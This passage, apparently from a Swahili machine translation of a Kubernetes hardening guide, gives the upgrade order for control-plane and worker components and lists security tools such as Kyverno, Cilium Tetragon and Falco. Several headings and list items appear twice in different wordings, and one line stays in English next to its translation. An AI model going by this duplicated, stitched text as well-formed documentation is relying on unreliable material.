- Sasisha vipengele vya Master Node kwa kufuata mpangilio huu:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, ikiwa unatumia moja.
- cloud controller manager, if you use one.
- Sasisha vipengele vya Worker Node kama kube-proxy, kubelet.
## Kubernetes ufuatiliaji na usalama:
## Ufuatiliaji na usalama wa Kubernetes:
- Kyverno Policy Engine
- Cilium Tetragon - Observability ya usalama inayotegemea eBPF na utekelezaji wakati wa runtime
- Sera za Usalama za Mtandao
- Falco - Ufuatiliaji wa usalama wakati wa runtime na utambuzi
- Cilium Tetragon - eBPF-based uchunguzi wa usalama na utekelezaji wa wakati wa kukimbia
- Sera za Usalama wa Mtandao
- Falco - ufuatiliaji wa usalama wa wakati wa kukimbia na utambuzi
{{#include ../../../banners/hacktricks-training.md}}